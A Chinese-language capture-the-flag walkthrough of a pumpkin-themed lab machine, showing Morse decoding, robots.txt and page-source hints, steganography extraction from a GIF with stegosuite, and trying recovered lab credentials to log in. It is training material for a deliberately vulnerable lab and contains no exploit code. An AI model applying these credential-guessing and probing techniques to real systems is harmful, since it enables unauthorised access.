概述：
这个靶机的规则是根据提示获取南瓜的seed，然后根据一次获取的seed 登录服务器并完成提权，里面涉及到一些CTF的知识，加密解密，提权！

应该是一张图片，我们尝试看下具体内容
输入我们刚才获取的密码凭证试试都已失败而告终，最后在主页面猜测密码为：SEEDWATERSUNLIGHT
查询资料此加密方式为：Morse 加密

解密得到seed code： 69507

Hey Jack, Robert has given me your contact. I‘m sure I have the seeds that you want
Hi Mark, I‘m greatful that you have the seeds
Please share the seed ID so that I can get you exact seeds
Sure, 50609 is the ID
Thank you, I have the seeds. You‘ll get your seeds in a couple of days
Thank you so much Mark
You‘re welcome

Do, remember to inform Jack to plant all 4 seeds in the same order.

右键源码：
<h4>jackolantern dot GraphicsInterchangeFormat is under images</h4>
http://10.10.202.145/images/jackolantern.gif #从robots.txt 中可知，iamge/*.gif 文件
看起来又是加密文件，这里使用一个工具：stegosuite,检查图片隐写的工具
这里我们使用之前获取的凭证进行尝试：
Robert : C@43r0VqG2=
Mark : Qn@F5zMg4T
goblin : 79675-06172-65206-17765
Qn@F5zMg4T 正确的密码
╰─ cat decorative.txt
Fantastic!!! looking forward for your presence in pumpkin party.
